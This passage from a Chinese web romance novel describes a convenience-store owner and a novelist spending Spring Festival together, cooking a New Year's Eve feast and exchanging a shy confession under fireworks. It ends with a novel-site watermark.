“有,过年外卖平台上店会比平时少很多,配送费也会增加,不过还是能点到。”看得出来洛淮青很有经验,明显是之前过年就吃过外卖。 明清欢感觉大过年吃外卖也怪可怜的,看着手里没送出去的吃食,邀请他过年来家里吃饭的话脱口而出。 “可以吗?会不会太打扰?” 洛淮青眼睛瞬间亮起来,让明清欢有种看到平常经常来店里的那只边牧,看起来总是很矜持,但其实每次遇到好吃的眼睛就会放光。 “当然。” 小年过去后离大年三十也没几天,收到明清欢的邀请,洛淮青当天就去商场买了一堆年货。 “你这是?” 次日明清欢看到他拿过来的东西,语气透着疑惑。 洛淮青:“年货,既然一起过年,总不好什么都让你准备。” “那这也太多了,而且你为什么买那么多一次性碗?” 明清欢说完还在袋子里看到了油盐酱醋等调料,怀疑他是不是忘记自己家就是开便利店的,最不缺这些。 洛淮青哪好意思说他不知道年货要置办哪些东西,直接跟在别人身后抄作业,垂着眼眸没说话。 莫名从他身上看到委屈大狗狗即视感的明清欢本来想让他把东西拿回家,但看到他这模样,最终还是道:“没事,买就买了,反正都用得着。” 两个人一个新文还没开,一个停止卖早餐和午餐,接下来都比较闲,于是没事干地把便利店整个搞了遍卫生,连货架都重新整理过。 其实本来明清欢是不让他干活的,但他总是以不能吃白饭为理由,明清欢多说几次便干脆随他去。 “姐姐,有没有炮卖?” 临近过年,孩子们早就放寒假,整条街上到处都是孩子们跑来跑去的身影。 过年明清欢家便利店进了些适合拜年用的礼盒,以及春联等过年相关物品,但烟花爆竹之类的她还真没进货。 得知她家没有炮卖,问话的小孩撒腿继续往其他店跑。 明清欢望着小朋友欢快的背影有点受到感染,倒是感受到越来越近的过年气息。 过年前两天,她收到不少电话,先是老家的二叔喊她回家过年,随即又是孙悦月她们打电话邀请她去自己家过年。 其实之前周瑶瑶回家前也邀请过她,但明清欢既然没答应她,自然不会答应孙悦月她们,至于原身二叔,她想到原身以前都没怎么跟二叔一家相处过,自然不愿意去打扰。 早上和中午不用忙着卖早餐和快餐后,明清欢空闲时间变得越来越多,除了晚上经常被周瑶瑶她们拉着开黑,白天则是追剧和看小说轮流来。 洛淮青专栏里完结文不少,光是他的文都够明清欢看一段时间,而且由于作者就在身边,她还能询问下小说里的部分内容。 见她对自己以前写的几本历史文感兴趣,洛淮青闲着也是闲着,竟然在店里现场码了几个她感兴趣的番外篇。 等她看完,洛淮青顺手将番外篇传到网上,惹得喜欢那几本文的粉丝又惊又喜。 【哇!洛大这是发新年福利吗?没想到完结这么久了还能有番外看!】 【好看爱看,洛大再多来点!】 【神奇,洛大以前完结后根本不会补番外,最近是遇到什么好事了?】 好奇之心人皆有之,其他书粉就算好事也只能瞎猜,周瑶瑶在发现番外篇时,则是直接找明清欢八卦。 明清欢总不能说他是写给自己看的,那不用想就知道她又要问更多问题,便道:“可能他想写就写了。” 不过有些事纸终究还是包不住火,过年前一天下午,由于孙悦月想跟她分享w市的雪景,于是透过视频发现洛淮青的存在。 明清欢不爱撒谎,在她询问时就表示是自己邀请洛淮青来店里一起过年。 孙悦月很想问她是不是谈恋爱了,但由于洛淮青就在旁边,有些话不好说得太明显,不过结束视频后立刻就邀请周瑶瑶、李勤晴一起语音群聊。 “什么?老板邀请他一起过年?我就知道那家伙天天往店里跑,肯定是醉翁之意不在酒。” 周瑶瑶得知此事既惊讶又不惊讶,毕竟她又不瞎,怎么可能看不出来某人天天在自家老板面前刷存在感。就连那次元旦节,她事后回想起来都感觉可能不是巧合,而是她前一天在店里说起要怎么过节时被他听见。 在孙悦月和李勤晴好奇地询问他们到底什么情况,有没有确定关系时,周瑶瑶恨铁不成钢道:“应该没有吧,毕竟谁让有些人小说里感情戏写得烂就算了,现实生活中也不会追人,你是不知道,他天天往店里跑,存在感倒是没少刷,但那张嘴是真笨,都快一年了,连表白都不会表……” 洛淮青身高长相没得挑,听完周瑶瑶的吐槽,孙悦月关心起另外一个问题:“那他条件怎么样?” “不抽烟,酒基本不喝,好像是自己独自生活,有车有房……” 明清欢并不知道几个朋友在替她操心,大年三十早上,她打开店门就转身进厨房里忙活起来。 八点不到,洛淮青来到便利店,手里拎着不少东西,很是自然地自己找地方放好。 等他去厨房里想帮忙时,明清欢却是将指着锅里温的早餐示意他先吃饭。 早餐是蒸饺,哪怕不是第一次吃,洛淮青还是被饺子皮韧馅香的滋味给好吃到。 蒸饺没配陈醋,而是配了点麻酱,饺子在料碟中滚一圈,吃起来格外鲜美。 吃饱喝足,他自己把碗洗干净就要给明清欢帮忙,明清欢拒绝不了,便分配些简单的活给他干。 自从爷爷奶奶去世后,过年对洛淮青来说就变得没什么意义,去年过年时他甚至窝在家里吃完外卖继续每天码字更新。 此时坐在厨房里剥着蒜,望着在自己面前忙碌的身影,洛淮青心莫名跳动得更快些,快到他有点担心让她听见自己心跳声。 对于大年三十来说,重头戏是晚上的年夜饭,早上吃过饺子,中午简单吃一顿后,明清欢和洛淮青在店里坐着闲聊了会天,等到下午三点多快四点时才又一起进厨房做年夜饭。 看得出来洛淮青确实不会做饭,不过他有很认真学,明清欢分配给他的活,他都拿出考试的专注来干,生怕干不好被她嫌弃,然后直接从厨房被赶出去。 冬天太阳落得早,才五点不到天已经开始变黑,等侠客便利店厨房里开始飘出香味时,外面天早就黑透。 祥云街上其他店铺前两天就都关门,街上人更是不多,只有小孩跑来跑去,到处放炮的身影。 哪怕只有两个人过年,明清欢还是做了一大桌菜,首先就是过年必不可少的“年年有余”,她直接清蒸了一条鲈鱼。 除开清蒸鲈鱼外,还有炸酥肉、红烧猪蹄、五彩素什锦、牡丹虾球、四喜丸子、八宝鸭、松仁玉米和香菇鸡汤。 由于周瑶瑶她们都在群里分享今天的年夜饭,还好奇明清欢做了什么好吃的,明清欢便在饭菜上桌后拍了张照片发到群里。 周瑶瑶她们三看到照片,立刻在群里“啊啊啊”起来,表示看起来好好吃的样子。 明清欢含笑望着群里的消息,等和她们聊完见洛淮青将饭和汤都盛好送到自己手边,放下手机招呼道:“今天菜比较多,你多吃点菜。” “好。” 大虾开背后被炸成金红色,摆在盘中似一朵牡丹花,看起来就特别诱人,洛淮青说完就先尝了口这道牡丹虾,外壳酥脆,内里鲜嫩,配上茄汁酱的酸甜口感,简直不要太美味。 不光牡丹虾球好吃,清蒸鲈鱼肉质鲜嫩,红烧猪蹄软糯弹牙,五彩素什锦爽脆可口,四喜丸子鲜香味美……桌上每道菜都好吃到让人想哭。 但比起菜色的美味,更令洛淮青感到愉悦的却是和自己一起吃饭的人,愉悦到他甚至希望时间能停在这一瞬间。 饭桌上二人话都不多,但气氛却很和谐,中间有几个小朋友被香味吸引过来,在店门口探头探脑,明清欢还笑着分了他们一碗酥肉。 几个小朋友嘴还挺甜,喊着姐姐做的东西真好吃后,竟然还留了几盒摔炮送给她玩。 年夜饭结束,两个人坐着看了会春晚,等到外面传来砰砰的烟花声时,明清欢不由起身走出去。 洛淮青跟着她站起来,不过却没有立刻出去,而是走到他白天带来的东西前,从袋子里拿出“一束花”。 说是花,实际上是用毛线勾出来的毯子,只是将毯子收拢起来会形成一束花。 他捧着花束毯子往外走,脚步虽慢,但步伐却很坚定,等终于走到明清欢身旁时,直接将怀里“花”递出去:“新年快乐。” 明清欢偏头看到鲜红的玫瑰时其实并不太惊讶,毕竟她又不瞎,其实白天早就在店中看到隐约的红色。 “你自己做的吗?” 她本来只是随口一问,没想到洛淮青竟然点头了,得知是他亲手勾的,倒是让明清欢有点惊讶,毕竟在大齐可没有男人会做这个。 花束毯子最近在网上很火,她刷视频时都刷到过好几次,没想到自己竟然会收到别人送的花束毯子。 明清欢想将花束打开看看整张毯子摊开是什么样子时,却从里面发现张书签,上面写着“山有木兮木有枝”。 穿越后,现代人给她的感觉都是说话很直接,尤其是电视剧上,更是喜欢和爱都大声说出口。 此时见身边人如此委婉,她不知为何忽然想逗逗他,明知故问道:“下一句是什么来着?” “心悦君兮君不知……” 洛淮青对上她笑语盈盈的模样,声音不自觉放轻,心跳却砰砰砰加快,从来不知道紧张为何物的他此时紧张得后背都有些冒汗。 在他话落的同时,随着几声“砰砰”,烟花如流星划破长空,绚烂的色彩点亮整片天幕。 在璀璨的烟花照耀下,明清欢唇边漾起笑来,就连平日里平静无波的双眸都渐渐染上笑意。 片刻后,她身上披着玫瑰花毯,手上牵着某个已经高兴傻的男人继续仰头欣赏着烟花。 当十二点的钟声响起时,整座城市都响起鞭炮声和烟花声,明清欢仰头望着完全被照亮的天幕,转头与洛淮青相视一笑。 未来不知道会如何,但此时此刻,两个心意相通的人都有一个共同的想法,那就是明年肯定会更好。 “新年快乐。” 烟花爆竹声中,二人不约而同送上祝福。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&